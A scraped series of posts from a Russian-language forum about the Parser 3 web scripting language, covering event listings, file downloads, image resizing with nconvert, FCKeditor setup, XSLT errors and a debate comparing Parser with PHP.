<div style=\"padding-left:20%; padding-top:50px; font-family:'Times New Roman', Times, serif;\">\
\
^if($events){\
\
$actual[^events.select($events.done eq no)]\
\
^if($actual){\
\
<h3>Главное</h3>\
\
$main[^table::create[$actual; \
	$.limit(3) \
]] \
\
	^main.menu{<div><a href=\"/events/?id=$main.id\">^taint[optimized-as-is][$main.header]</a></span></div>}[]\
	<br><br><br>\
\
\
<h3>Также</h3>\
\
$other[^table::create[$actual; \
	$.offset(3)\
]] \
\
	^other.menu{<div\"><a href=\"/events/?id=$other.id\">^taint[optimized-as-is][$other.header]</a></div>}[]\
	<br><br><br>\
}\
\
\
$done[^events.select($events.done eq yes)]\
\
^if($done){\
\
<h3>Пропустили</h3>\
\
	^done.menu{<div><a href=\"/events/?id=$done.id\">^taint[optimized-as-is][$done.header]</a></div>}[]\
\
}\
\
\
}{нет ниче}\
[/code]\
\
Получаю события, выделяю первые 3 как главные (ближайшие), потом остальные и те, которые закончились. Смог только так, правильно ли? Или можно как то лучше это сделать?\
\
И проблема в том, что если у события несколько дат, то он берет только первую и судит по ней. Например, если есть событие, у которого время 10:00...11:30 и 13:00...14:30, то в 12 он показывает, что событие прошло. Как сделать так, чтобы после прошествия первой даты он показывал событие, но уже со 2 датой, которая еще актуальа. Можно убрать GROUP BY ID, но не хотелось бы, чтобы получилась свалка ссылок на одно и то же события с разными датами."
"50255","если обида - не самоцель, может обсудим, зачем нужно?"
"50256","вероятно, вы запросили документ у http сервера text документ, и сервер выдал вам content-type:...charset=ISO\
вот parser и пытается привести ваш ISO к $request:charset!"
"50258","[code]\
@CLASS\
gbook\
\
@load[]\
^MAIN:dbconnect{\
   $messages[^table::sql{select author, email, date, body from gbook}]\
}\
\
@show_messages[]\
^if($messages){\
...\
}\
[/code]\
Я комраду говорил, что для глобальных переменных класса нада юзать $self. А вот в этом примере по-моиму ашипко... Или я что-то нидагналл?"
"50259","когда одноимённая переменная может присутсвовать в классе MAIN.\
Если оная присутсвует, то при вызове имеет приоритет перед переменной класса.\
По сему, если нужно вызвать переменную $var именно класса, то мы её зовём $self.var, что внутри класса равносильно $имя_класса:var."
"50261","именно поэтому иногда и приходится писать $MAIN, иначе все бы работало и так.\
\
http://www.parser.ru/docs/lang/defineclass.htm"
"50262","И всё же, из-за чего может это быть? Класс не найден! Как так? Забыли добавить? В документации он есть. А у меня WinXP с Apache Swissknife - Parser 3.2.1 . По идее должно работать... Хочу статистику сделать"
"50263","Це ж я про методы vs операторы толковал, ага.\
\
Уставший был, звиняйте за трёп :("
"50264","[quote]...не хотелось бы, чтобы получилась свалка ссылок на одно и то же события с разными датами[/quote]\
\
У вас у события есть два времени. А событие одно. Самым логичным получается ставить ссылку на одно событие, но под разными датами. У меня похожая ситуация с театральным репертуаром была. Спектакли одни и те же храняться в одной табличке, а в другой храниться ID спектакля, время начала и другая дополнительная информация."
"50265","Именно так и есть. У меня только вся информация (id, название, доп информация...) в одной таблице, а даты с id в другой.\
\
Но вот как ставить ссылку на одно событие, но под разными датами? Может можно пример? А то я вообще пока не догоню.\
\
Можно еще ссылку на ваш сайт с театральным репертуаром?"
"50266","http://ngdt.ru/v2/repertoire/\
\
Одна таблица:\
[code]\
+----------------+-------+\
| performance_id | title |\
+----------------+-------+\
[/code]\
\
И вторая таблица:\
[code]\
+----------+----------------+------+\
| event_id | performance_id | date |\
+----------|----------------+------+\
[/code]\
\
Для одного события (performace_id) есть две записи с разными event_id и date. Вот и все."
"50267","А если несколько событий в один день, то даты будут дублироваться?\
\
К примеру, если\
\
1 марта Иванов\
1 марта Зеленая зона\
1 марта Темная история\
\
\
Или как?"
"50269","event_id зачем?"
"50270","Получается одна таблица с событиями и вторая — связка событий со временем. Т.е. там получается две записи, которые ссылаются на одно и то же событие, но с разным временем."
"50271","Вот у меня есть таблицы\
\
[code]events (\
	id,\
	header,\
	announce,\
	body\
)[/code]\
\
и\
\
[code]events_dates (\
	id,\
	date_s,\
	date_f,\
)[/code]\
\
Хотелось бы, чтобы например было так:\
\
[i]\"Зеленая зона\" - 11:30, 14:30, 17:30[/i]\
\
если в таблицах\
\
[code]events\
1	Зеленая зона	Анонс	Текст[/code]\
\
[code]events_dates\
1	2006-03-01 11:30:00	2006-03-01 14:00:00\
1	2006-03-01 14:30:00	2006-03-01 17:00:00\
1	2006-03-01 17:30:00	2006-03-01 20:00:00[/code]\
\
Как так сделать?\
\
\
А пока у меня получается\
\
[i]\"Зеленая зона\" - 11:30[/i]\
[i]\"Зеленая зона\" - 14:30[/i]\
[i]\"Зеленая зона\" - 17:30[/i]"
"50273","Подскажите, пожалуйста.\
\
Делаем хеш\
\
[code]$events_dates_hash[^events_dates.hash[id][$.distinct[tables]]][/code]\
\
И как потом?\
\
[code]^events.menu{\
	$date_list[$events_dates_hash.[$events.id].[color=\"#ff0000\"]?[/color]]\
	^if($date_list){^taint[optimized-as-is][$events.header] - $date_list}\
}[<br>][/code]\
\
? - date ведь не подставишь. Да и все равно будет только одно значение, а не несколько"
"50274","Я наверное тупая, но ничего не получается... то одна ошибка, то другая.... Помогите написать простенький скрипт!!!!\
Пользователь заполняет форму, а когда жмет на кнопку - получает  файл и сообщение на экране что файл отправлен, при этом все что он ввел пишется в текстовый файлик.\
ПОМОГИТЕ!!!..... просто не догоняю где я ошиблась... :-((("
"50275","Ошибки с сохранением танных в файл я вроде победила, хотя так и не поняла в чем была моя ошибка :-(( переписала в десятый, наверное, раз этот кусок... вся разница в том, что вместо переменной [code]$result[...][/code] содержащей данные формы, используется переменная [code]$user_profile[...][/code], при этом вся начинка осталась... ну да бог с ней - главное заработало, а вот вопрос собственно с отправкой файла и информированием пользователя остался открытым... :-(( Или информирует, или отправляет.... Как сделать чтобы было одновременно????? :-((\
МЭТРЫ!!!! ПОМОГИТЕ ПОЖАЛУЙСТА БЕДНОЙ ДЕВУШКЕ!!!!!"
"50278","[/code] не проходит или одно работает или другое.... А как сделать чтоб и то, и другое????"
"50279","Я написала и форму, и проверку, и запись данных о пользователе в файл (кстати не без Ваших примеров, большое Вам спасибо)... разобралась, наконец, что по своей собственной ошибке использовала переменную \
[code]$result[][/code]\
не по назначению... из-за чего и возникала ошибка....\
А вот как отправить пользователю файл (причем не почтой) и сообщить ему об этом я не поняла.... Использование \
[code]$response:location[][/code] и [code]$response:download[/code] не проходит или одно работает или другое.... А как сделать чтоб и то, и другое???? \
\
\
большое сорри за флуд... что я не не то нажала :-("
"50280","[quote]Я наверное тупая,…[/quote]\
Зачем же так? Вы тупых не видели.\
\
[quote]…а когда жмет на кнопку - получает файл и сообщение на экране что файл отправлен,…[/quote]\
\
Что всетаки пользователь делает с файлом? Отправляет или получает?"
"50281","Пользователь должен получить файл с сервера"
"50282","1. Сформулировать то, что Вы хотите сделать\
2. Привести здесь код, который работает не так и пояснить что Вы от него хотите."
"50283","Извините, так и просится цитата классика :)\
\
Не нужно вам здесь всё подряд лепить.\
Сначала ставите $response:location[http://страница_с_сообщением_для_пользоватедя] \
\
А на этой странице с сообщением для пользователя ставьте между <head> и </head> вот такую вещь:\
<meta http-equiv=\"refresh\" content=\"2; URL=файл_для_скачки\" />\
\
Тогда через 2 секунды начнется закачка файла пользователю.\
Ну вот, примерно так."
"50284","Попробую реализовать с переходом на \"другую\" страницу.... а неужели нельзя сделать чтобы все эти фичи отрабатывались внутри одной страницы???.... \
например как-нить так\
[code]\
$response:location[http://^taint[as-is][${env:SERVER_NAME}$request:uri]^if(^request:uri.pos[?]>=0){&}{?}action=done]\
[/code]\
а дальше \
[code]\
^if($form:action eq \"done\"){\
	<p>Спасибо за принятие участия в тестировании.</p>\
[/code]\
и вот тут как-нибудь \"отдать\" файлик пользователю\
[code]\
}\
[/code]"
"50285","1. Что надо...\
  ПЛАН РАБОТ\
   А) Сформировать регистрационную форму - РЕАЛИЗОВАНО\
   Б) Осуществить проверку ввода данных - РЕАЛИЗОВАНО\
   В) Занести данные в файл в табличной форме - РЕАЛИЗОВАНО\
   Г) Отправить файл пользователю и уведомить об успехе - НЕТ\
  ЗАДАЧА\
   Реализовать пункт \"Г\"\
2. Код...\
  [code]\
^if($form:action eq \"done\"){\
### Попытка выполнить пункт Г.... но как??? Если\
### $response:download[], то не отработает $response:location[]\
	<p>Файл отправлен.</p>\
        $Show_form(0)\
\
}{\
        $Show_form(1)\
}   \
^if(def $form:do){\
   ^if(\
### Выполнение пункта Б\
       ){\
### Выполнение пункта В\
$response:location[http://^taint[as-is][${env:SERVER_NAME}$request:uri]^if(^request:uri.pos[?]>=0){&}{?}action=done]\
}{\
### Оповестим об ошибке\
}\
^if($Show_form){\
### Выполнение пункта А\
}\
..........\
\
Теперь уже вроде конкретнее некуда.....\
Я начала свой пост с того, что у меня в пункте В возникала ошибка, данные писались в таблицу, но вылетал Unhandled Exception, но потом я разобралась в проблеме - не правильно обозвала переменную.... Но итог все-равно не достигнут. Помогите корректно написать пункт Г...."
"50286","создаю объект\
[code]$img[^image::measure[http://foof.nwtravelco.ru/img/fis_logo.gif]][/code]\
\
\
measure failed: No such file or directory (2), actual filename 'http_3A//foof.nwtravelco.ru/img/fis_logo.gif'\
\
[code]$img[^image::load[http://foof.nwtravelco.ru/img/fis_logo.gif]][/code]\
\
can not open 'http_3A//foof.nwtravelco.ru/img/fis_logo.gif'\
\
Почему не работает? и почему в ошибке адрес начинается с http:_3A ?"
"50287","с http работать могут только file::load, table::load, xdoc::load.\
В вашем случае загрузите картинку к себе локально с помощью ^file::load и уже тогда \"обмеряйте\" ее."
"50288","Здравствуйте.\
Есть задача - учет последнего посещения пользователя. Интересует сам принцип.\
\
Проблема вот в чем: если делать обновление базы при каждом заходе, то как только пользователь зайдет на сайт, сразу же обновится дата его последнего посещения. Соответственно нужно, чтобы учет запаздывал минимум на 1 шаг.\
\
Не подскажите как правильно сделать такой учет?"
"50290","Хочется понять, как работает система, предложенная на http://www.ipo-design.ru/developments/httpreguest/ ..\
\
Система состоит из 5 файлов - index.prs, load_test.prs, auto.p, JSTestParser.js и JSHttpReguest.js . Как я понял, в auto.p содержатся функции для совместимости Parser и JS, в JSHtpReguest.js - основной класс, в index.prs находится форма, значения с которой обрабатываются в JSTestParser.js, затем в load_test.prs, потом посылаются обратно в JSTestParser.js, и оттуда пишутся в index.prs. \
\
Вот JSTestParser.js с моими комментариями:\
[code]\
  function doLoadParser(force) {\
//query = значение поля \"query1\" формы\
    var query = '' + document.getElementById('query1').value;\
    var req = new JSHttpRequest();\
    req.onreadystatechange = function() {\
//не понимаю, что значит readyState == 4\
      if (req.readyState == 4) { \
//здесь выводятся значения, полученные уже из load_test.prs, написанноо на парсере.\
        document.getElementById('result1').innerHTML = \
          'MD5(\"'+req.responseJS.food +'\") =  ' +\
          '\"' + req.responseJS.good + '\"'+id+' '+pid;\
      }\
    }\
    req.caching = true;\
//открывается файл с обработчиком...\
    req.open('GET', 'load_test.prs', true);\
//обработчику посылается хэш, да?\
    req.send({ q: query });\
  }\
  var timeoutR = null;\
//эта функция вызывается на onKeyUp поля формы, только я не понимаю, зачем нужен таймер??\
 function doLoadUpParser() {\
    if (timeoutR) clearTimeout(timeoutR);\
    timeoutR = setTimeout(doLoadParser, 100);\
  }\
[/code]\
\
А сейчас я покажу то, что для меня пока что непостежимо:\
[code]\
#как понимаю, здесь просматриваются поля \"формы\", т.е. все параметры страницы. Но до меня не доходит, откуда в $forma оказывается строка вида id::q , где id - какой то номер (тоже кстати не понял какой). В qwery оказывается строка, которую мы ввели в поле формы. Я думаю, что это значение последнего поля просматриваемой \"формы\", но, повторюсь, откуда же в $forma такая странная строка??\
^form:fields.foreach[field;value]{\
	$forma[$field]\
      $qwerty[^untaint{$value}]\
}\
\
\
#здесь странная строка $forma разбивается на части\
#$uid - какой-то идентификатор, нужный для корректной работы кода\
#а вот $suid и $q я не понимаю зачем тут нужны !! Но если их убрать, ничё не работает\
^forma.match[(.*):(.*):(.*)][g]{\
   $uid[$match.1]\
   $suid[$match.2]\
   $q[$match.3]\
}\
\
\
#хэш-результат\
$test[\
   $.food[$qwery]\
   $.good[^math:md5[$qwery]]\
]\
\
#отправка полученного хэша в jstestparser.js в виде\
#  странный идентификатор\
#  отладочная информация\
#  сам хэш, предварительно обработанный в коде из auto.p\
 JSHttpRequest.dataReady(\
  $uid,\
  'DEBUG INFO',\
  ^object2js[$test]\
)\
[/code]\
\
Наверно, это звучало немного глупо, но мне действительно не понятно как работает эта штука!! Я хотел вставить пару параметров, а не получается. \
За помощь буду очень благодарен!!!"
"50291","[code]\
$events_dates_hash[^events_dates.hash[id][$.distinct[tables]]]\
\
^events.menu{\
	^if($events_dates_hash.[$events.id]){\
		<h2>$events.header</h2>\
		^events_dates_hash.[$events.id].menu{\
			^events_dates_hash.[$events.id].date.sql-string[]\
		}[ | ]\
	}\
}\
[/code]"
"50292","Вчера сделал так называемые плавающие неразрывные пробелы в типографе. Что позволяет безболезненно выравнивать текст по ширине.\
Это настоящий прорыв в типографике после того, что было описано когда-то в ко/водстве.\
\
Так типографировал раньше:\
[code]А&nbsp;я&nbsp;то&nbsp;думал, что счастья нет.[/code]\
Так сейчас:\
[code]<nobr>А я то думал</nobr>, что счастья нет.[/code]\
\
Типографика новым способом включается в настройках. Кому стало интересно [url=\"http://www.typograf.ru\"]заходим[/url] смотрим.\
\
P.S. Из достоверных источников стало известно что на следующей неделе выйдет новый типограф Студии. На сей раз нас удивят переносами, висячей пунктуацией и обозначенными выше плавающими пробелами."
"50293","[code]\
$rep[^table::create{source	translate\
i	буква И\
p	буква П\
b	буква Б\
ipb	ИПБ}] \
$str[i - p - b - ipb]\
Хочу получить: буква И - буква П - буква Б - ИПБ<br>\
Получаю: буква И - буква П - буква Б - буква Ибуква Пбуква Б\
[/code]"
"50294","Сначала находим все i, заменяем, а потом p и b, и только потом, в оставшемся тексте ищем ipb. Перенесите ipb в начало таблицы замен и все будет отлично."
"50295","xsl:template: error duplicate name 'sub_item_divider'\
compilation error: file /home/httpd/hosting/site/manager/xslt/templates/_billet_sym.xslt line 5 element template\
xsl:template: error duplicate name 'billet-sym'\
compilation error: file /home/httpd/hosting/site/manager/xslt/templates/item_divider.xslt line 5 element template\
xsl:template: error duplicate name 'item_divider'\
compilation error: file /home/httpd/hosting/site/manager/xslt/templates/item_divider.xslt line 17 element template\
xsl:template: error duplicate name 'sub_item_divider'\
compilation error: file /home/httpd/hosting/site/manager/xslt/templates/_billet_sym.xslt line 5 element template\
xsl:template: error duplicate name 'billet-sym'\
[Wed Mar 1 00:05:08 2006] [error] Can't call method \"transform\" on an undefined value at /home/httpd/site/manager/lib/\
На линукс машине все пашет на ура!\
Перенашу на FreeBSD машину на апаче стартующем с перлом, полно ошибок, вот такого план, может укого есть мысли на эту тему ?\
на линукс машине: \
Linux:\
xsltproc -V\
Using libxml 20611, libxslt 10108 and libexslt 806\
xsltproc was compiled against libxml 20611, libxslt 10108 and libexslt 806\
libxslt 10108 was compiled against libxml 20611\
libexslt 806 was compiled against libxml 20611\
\
FreeBSD:\
xsltproc -V\
Using libxml 20623, libxslt 10115 and libexslt 812\
xsltproc was compiled against libxml 20623, libxslt 10115 and libexslt 812\
libxslt 10115 was compiled against libxml 20623\
libexslt 812 was compiled against libxml 20623\
\
в гугле нашел подобное описание проблемы \
http://axkit.org/archive/message/89/02 (но там также не нашлось решение насколько я понял.)"
"50296","задача - нужно для посетителей из зоны RU выдавать одну страницу, для зоны скажем UA другую, для GR третью и т.д."
"50297","А можно ли в SQL-запросе сортировать вывод по количеству символов в полях?"
"50298","Ходят слухи, что где-то есть т.н. RIPE-Databases ip-адресов с сопоставленными им регионами."
"50300","А может ему надо \"от браузера\" сплясать? :)\
\
Тогда: $env:HTTP_ACCEPT_LANGUAGE"
"50301","В первый раз с XML работаю.\
Хотелось бы написать поиск по сайту.\
На форуме не смог найти принцип передачи запроса Яндексу.\
\
Просьба, если кто знает киньте ссылку или поясните каким методом отправлять запрос серверу."
"50302","Лучше вместо[code]<nobr>А я то думал</nobr>, что счастья нет.[/code]писать[code]<span style=\"white-space: nowrap^;\">А я то думал</span>, что счастья нет.[/code]"
"50304","http://help.yandex.ru/xml/?id=396706"
"50306","Зарегистрируйтесь и вместо <nobr> и </nobr> пропишите ваши значения.\
Можете попробовать использовать мой класс <span class=\"nobr\"> и </span> соответственно."
"50309","Есть два сайта с базами IP. Дают скачать.\
http://www.techinfo.net.ru/ip2ruscity/\
http://ip-to-country.webhosting.info/"
"50310","Читал ветку про nconvert. Сделал загрузку картинок на сервер. nconvert качал отсюда: http://perso.wanadoo.fr/pierre.g/xnview/en_ncdownload.html\
Скачал виндовс-версию (для локальной версии сайта) и версию Linux x86 (для хостинга, там стоит Fedora 3).\
Сделал галерею, сижу довольный - скоро заказчик придет сайт смотреть. Пришел заказчик и начал ломать сайт. Он видимо не знает, как уменьшать фотографии из цифрового фотика, поэтому совал в мою галерею фотки весом по 2 мегабайта. В результате сувания вместо сайта у меня виден только уголок его фотографии, а сам сайт, собственно находится где-то далеко за пределами броузера справа и снизу.\
Стал тестировать, что к чему.\
На локальной версии с виндозной nconvert.exe все отлично работает.\
На серваке с линух-версией:\
1. Небольшие картинки обрабатывает корректно\
2. Картинки любого веса (пробовал до 2МБ) но с размером до 2200 точек по максимальному габариту обрабатывает нормально, все работает.\
3. Начинаю грузить картинки любого веса (хоть 200К хоть 2МБ) с размером 2500 точек и выше - нифига не обрабатывается. Все файлы сохраняются - и превьюшка и нормальная, только в оригинальном размере.\
\
Было у кого-нибудь что-то подобное? Если решили проблему - подскажите как.\
\
ImageMagick не подходит."
"50311","Сделал тестовую картинку 2600х2200 точек и ресайзил её без вопросов. В чём может быть трабла - ума не приложу."
"50312","А на какой операционке дело было? На линухе?\
У меня хостер http://plusweb.ru/"
"50314","http://community.livejournal.com/ru_ucdesign/224459.html\
посмотрите комменты"
"50317","Улыбнуло сразу \"Язык специально спроектирован и оптимизирован для того, чтобы было удобно создавать хорошие сайты.\"\
Афтар-жжош. Пеши есчо!\
\
\" На Parser могут работать далеко не профессиональные программисты.\" \
такие далёкие-далёкие... :-) Когда-то давно, компания 1с так-же пиарила 1с версии шесть- что любой бугалтер может... В результате- армия программеров на языке 1С версии 6.\
\
А далее :\
\"Если парсер скопирован правильно и вы не забыли прописать в .htaccess инструкции, указанные в документации, возможно вы забыли разрешить апачу обработку .htaccess в файле httpd.conf с помощью инструкции AllowOverride (обратитесь к документации по Apache).\"\
\
Вопрос: что должен уметь этот гипотетический \"далеко не..\" программист?"
"50319","Какие приемущества этот,\"в известном смысле — макроязык\", предоставляет по сравнению с ... ну хоть с упомянутым PHP :-)\
Объём документации сопоставим с кратким курсом того-же PHP, функциональные возможности априори (\" в нём нет оператора print\" ) -меньше."
"50320","Колличество страниц в документации и количество операторов -- не показатель!"
"50321","Вот подборка сочинений на эту тему:\
[url=\"http://www.parser.ru/forum/?id=47282\"]http://www.parser.ru/forum/?id=47282[/url]\
[url=\"http://www.parser.ru/forum/?id=50319\"]http://www.parser.ru/forum/?id=50319[/url]\
[url=\"http://www.parser.ru/forum/?id=50319\"]http://www.parser.ru/forum/?id=50319[/url]\
[url=\"http://www.parser.ru/forum/?id=44910\"]http://www.parser.ru/forum/?id=44910[/url]\
...\
\
почитайте..."
"50322","http://www.parser.ru/forum/?id=50070\
\
Парсерного кода и меньше, и читается лучше."
"50323","Что говорят .status и .stderr?"
"50324","Можно про это где то поподробней почитать ? \
 И можно ли это поправить не правя код ?"
"50325","ранние версии:\
Мы обсуждаем текущее положение дел: Parser 3.2.1 и...любой другой язык сервернх сценариев (PHP,ASP, JSP). Пока я не услышал ни одного вразумительного аргумента в пользу приемуществ Parser. Со своей озвучил некий набор сомнений в полезности существования такого языка. Хотелось бы услышать хоть какие-нибудь аргументы в пользу выбора данного языка для разработки сайтов.\
Количество страниц описания (при отсутствии печатной литературы) является одним из определяющих показателей скорости освоения нового языка. Таким образом Parser ничуть не предпочтительнее прочих."
"50327","По моему- на PHP логичнее. Но мы не обсуждаем PHP. мы обсуждаем приемущества Parser. Они есть?"
"50328","Избавится от ошибки можно перейдя на версию Парсера ниже 3.1.6.\
\
Но это плохой выход.\
Лучше хорошо просмотрите свои xsl на предмет импортов и инклюдов, тех вещей, которые могут приводить к трудноуловимым дубликатам шаблонов.\
Т.к. это ошибка именно в вашем коде, просто раньше на неё закрывали глаза, теперь же более жёстко следуют спецификации, что правильно.\
\
Самый лучший выход - исправить ошибку и следить, чтобы больше её не повторять."
"50329","По большинству современных языков программирования есть достаточное количество литературы в сериях типа \"Быстрый старт\".\
Вероятно, есть такие книжки и по C++.\
Есть-ли нечто подобное по  метаязыку Parser ?"
"50332","Желательно таблицей."
"50334","так-же вам дали кое какие ссылки.\
\
на кое что отвечу:\
\
- нигде не утверждается, что парсер может установить любой (я могу управлять автомобилем, но не могу его сделать/починить).\
\
- есссно часть текстов - фан, без этого грусно и скучно жить на этом свете.\
\
- насколько мне извесно никаких других документаций кроме предоставленых на сайте нет (в том числе бумажных)\
\
- насколько мне известно никто не пытался всесторонне сравнивать парсер с другими языками. для некоторых задач он удобен, для других - не очень, для третих - не подходит совершенно. делать для вас сравнение с php и пытаться доказать что-то, в том числе таблицей, я думаю вам никто не будет (или не сможет, т.к. для этого нужно в том числе хорошо знать php).\
\
поэтому предлагаю закончить религиозный спор.\
\
этот тред я скоро \"закрою\"."
"50335","не хочу что-то доказывать, просто о себе. Не знаю ни одного языка програмирования, т.е. вообще ни чего.\
первоначально использовал готовые решения на ПХП найденные в интернете, когда попытался что-то править под свои нужды утанул в куче литературы, на решение одной маленькой задачи терял уйму времени в несколько суток. в конечном итоге если что-то сваять на ПХП то с огромным трудом.\
Случайно попал на этот форум, в результате через две недели свой сайт с регисрацией, гостевой, файл менеджер, новости, ещё через неделю свой форум.\
\
Вывод делайте сами."
"50336","Итак- ключевым моментом стало Ваше попадание даже не на данный сайт, а в тематический форум, где вам оказали квалифицированую помощь. К сожалению, ваш пример, ничего не говорит о приемуществах Parser, как языка серверных серверных сценариев, но наглядно показывает дружелюбие сложившегося вокруг Parcer сообщества."
"50337","1. весьма странно, предлагать язык \"для начинающих\", который не каждый может установить\
2. крайне приятно, что вы это признали (я- за качественный фан: обратитесь к квалифицированному маркетологу)\
3. в числе недостатков Parser я как-раз и отмечал объёмность документации , предлагаемой начинающим.\
4. я не считаю, что это-спор: мне бы хотелось увидеть аргументированный перечень приемуществ и только.\
5. а почему собственно закроете?"
"50338","Пожалуйста, забаньте этого человека."
"50339","1. каждый может чинить свой авто? есть список недорогих хостеров, которые предлагают предустановленный парсер. \
\
3. а вы заглядывали в неё? начинающим предлагается выполнить 6 несложных уроков, чтобы ознакомится с большинством функционала парсера и его идеологией. по моему не так много. а все остальное - развернутый справочник по операторам/классам/методам, или его надо было выкинуть?\
\
4. я написал, почему вы не получите его тут: для этого надо чтобы кто-то поработал и сделал это сравнение. возьметесь?\
\
5. а вы не видите в какое русло уходит дискуссия? знаете почему? вы не первый тут поднимаете эту тему. завсегдатаев она уже несколько напрягает."
"50340","можно проект в студию?\
где был этот самый \"низкий total cost of ownership кода\"\
и конкретно- срок разработки."
"50341","Не каждый- некоторые платят автомеханикам (оутсорсинг?)\
Меня несколько ужаснул её объём а уроков я не увидел.(Виноват сам... наверное... а может ссылочки нехватает на первой странице?)\
Мне кажется я со своей стороны пытаюсь удержать дисскусию в рамках обсуждения Parser и всячески избежать бесполезных споров parser против... кого-то конкретного.\
Возьмусь. тем болие , что сейчас активно ищу язык для нового проекта.\
Засыпав русло не остановиш реку... Вопросы всё-равно возникнут вновь и вновь. Всвязи с чем необходимость ответов на них в статье на сайте- очевидна."
"50342","попробуйте задать вопрос по написанию кода, особенно дилетантский.\
Вас будут тыкать носом в документацию.\
Ответы дают только на вопросы высокой сложности, так что пришлось работать с докой ни с кем не общаясь"
"50343","Очень жаль, что не сложилось с PHP. надеюсь, что стартовав с Parser, вы с большей лёгкостью освоите  и PHP,и ASP,и JSP.\
В таких проектах, странно похожих ( пиаром и идеями )на 1С настораживает привязанность программиста к данной технологии. Тот-же Нуралиев, заявляет, что человек, проработавший определённый срок с 1С не сможет программировать на других языках. Было-бы крайне обидно увидеть и здесь подобную ситуаци."
"50344","Я думаю, что у Вас не получится написать объективного сравнения, потому что, как тут верно подметили, чтобы делать такие сравнения нужно достаточно хорошо знать объекты сравнения. А как я понял по Вашим постам Вы с парсером сталкиваетесь первый раз, и нам не известен Ваш уровень знаний php...\
Надо бы хотя бы доку по Парсеру до конца прочитать ;)"
"50346","Парсерного кода и меньше, и читается лучше."
"50347","не аутсорсинг, просто каждый занимается своим делом. админы устанавливают софт на *nix (ведь большинство хостингов *nix, так?). поставить можно попробовать и самому, лично мне не кажется это очень сложно задачей: залить файл на сервер в binary режиме, поставить бит executable и назначить его обработчиком своих файлов (copy/paste из инструкции). правда такое прокатывает не всегда: бывают очень интересные ОС у хостеров. в этом случае придется получать ssh доступ и компилить, но вот эта задача уже точно для админов.\
\
ссылки на главной? ну... ссылка есть, называется \"документация\". дальше если интересует онлайн документация - то заходим в неё и в левом фрейме первые 9 ссылок. разве сложно? если всё вытаскивать на главную, то по моему на ней получится просто никому не нужная помойка.\
\
вы может и пытаетесь, но в форуме не один вы принимаете в ней участие.\
\
если возьметесь, то предлагаю ознакомиться хотя бы с приведенными ссылками, FAQ (там есть сравнение ключевых на наш взгляд моментов с PHP) и выполнить несколько первых уроков из документации.\
\
также вы можете составить список ключевых моментов важных на ваш взгляд в PHP, а мы попробуем показать что парсер предлагает для этих случаев.\
\
сразу могу сообщить несколько недостатков парсера:\
- вы не найдете готовых решений, которые можете скачать и использовать, в отличии от PHP.\
- некоторые задачи, которые в периодически требуются на вебе парсер только своими средствами (без внешних програм) решить не может, к этим задачам относятся например: доступ по https к другим рессурсам, хорошая работа с изображениями (ресайз, рисование...)\
- существенно меньшая comunity\
- бОльшая рессурсоемкость"
"50351","Я сделал по-другому. Я в SQL запросе считаю сколько дат у события и если их больше 1, то делается отдельный запрос всех дат события по id.\
\
Спасибо за помощь"
"50353","Изначально был Red Hut с кучей апдейтов, сейчас точно никто не берётся сказать что за операционка :)"
"50356","Смешная идея: Как известно практика- критерий истины. Вчера родилась шутка: а не написать-ли на Parser CMS?.. Поутру мысль оформилась окончательно: написать и- ... будет нашему дизайнеру диплом по программированию :-)\
Засим позволте откланятся :-)\
Как что-то будет- покажу :-)"
"50363","Не сравнивайте с 1С.\
Я работаю и с PHP и с Парсер, многих парсер не устраивает по сравнению с ПХП, но для написания большинства проектов, отдаю предпочтение именно ему. Почему? Потому что удобно, быстро, эффективно.\
Не важно какой язык, важно какой программист. Я вам тоже могу сказать, попробуйте Python, и вы поймете недостатки PHP5."
"50364","Называйте вещи своими именами.\
Меня всегда удивляли люди которые говорят не сесть ли и не написать... \
Они никогда не сядут и не напишут ничего толкового\
Написать CMS сложно на любом языке, поскольку самое главное голова."
"50365","Дык скрипт должен медленно работать из-за объема вотографии в мегабайтах, а не из-за размера в точках. Я так думаю. К тому же там и скрипта-то никакого нет - только nconvert и все. Он же переваривает картинку весом в 2МБ. Свободно переваривает. А 200К с большим размером не может. Непонятность какая-то."
"50366","Ставите строго по инструкции, не забывая менять все \";\" на \"^;\" в html-страницах, обрабатываемых парсером. Не забудьте после того, как всё настроите, положить в папку к пакету .htaccess с текстом[code]ExpiresActive On\
ExpiresDefault \"access plus 2 years\"[/code] - пользователи будут вам благодарны. Не забывайте, что даже если вы отключите в настройках соответствующие кнопки, ушлый посетитель вполне будет в силах написать вам что-нибудь розовым 72-м шрифтом. Поэтому определите для себя список допустимых тэгов и ^untaint-те только их. Для нелюбителей тянуть к себе килобайты жабаскрипта оставьте вариант с простой textarea."
"50367","каждый день сажусь и пишу... мне за это зарплату платят :-)\
Итак: диплом у дизайнера через месяц. \
Начнём ;-)\
(скачивая Parser и доки...)"
"50368","Всм спасибо."
"50369","CGI\
\
И ошибок никаких не выдаёт?\
Что в статусе сотоварищи?"
"50370","Глянул сейчас у себя... У меня в .htaccess где FCK ледит есть ещё директива\
RemoveHandler parsed-html html"
"50371","Спасибо за совет.\
Появилось желание попробовать.. не Pytnon а Parser :-)\
Удачи :-)"
"50372","Скромнее надо быть, здесь всем зарплату платят и все пишут, не вы один.\
Я просто не понимю, ну не нравиться вам Парсер, ну не пишите на нем. В чем проблема-то? за меcяц CMS не напишет и опытны программист на ПХП, ASP и т.д."
"50373","правильно, чем больше пробуете, тем большему учитесь. Удачи."
"50374","[code]\
^switch[УСЛОВИЕ]{\
	^case[DEFAULT]{}\
	^case[editor]{\
\
		<script type=\"text/javascript\" src=\"/FCKeditor/fckeditor.js\"></script>\
		<script type=\"text/javascript\">\
		window.onload = function()\
		{\
			var oFCKeditor = new FCKeditor( 'MyTextArea' ) ^;\
			oFCKeditor.BasePath = '/FCKeditor/' ^;\
			oFCKeditor.ReplaceTextarea() ^;\
		}\
		</script>\
\
		$fValue[^file::load[text;/FCKeditor/start.txt]]\
		$Value[$fValue.text]\
\
		<form action=\"^GetPagePath[]?mode=editok\" method=\"post\" target=\"_blank\">\
		<textarea id=\"MyTextArea\" name=\"MyTextArea\" style=\"width: 100%^; height: 250px\">^untaint[as-is]{$Value}</textarea>\
		<input type=\"submit\" value=\"Сохранить\">\
		</form>\
	}\
[/code]"
"50376","Программа выглядит тупо и просто:\
[code]\
$MAIN:nconvert_path - место, где лежит nconvert\
${MAIN:gallery_big}$filedest.name - путь к файлу\
[/code]\
делаем\
[code]\
$f[^file::exec[$MAIN:nconvert_path;;-ratio;-resize;490;490;${MAIN:gallery_big}$filedest.name]]\
[/code]\
-ratio;-resize;490;490; - вроде так нужно, чтобы пропорционально уменьшить картинку до максимального размера 490 точек по горизонтали или вертикали.\
\
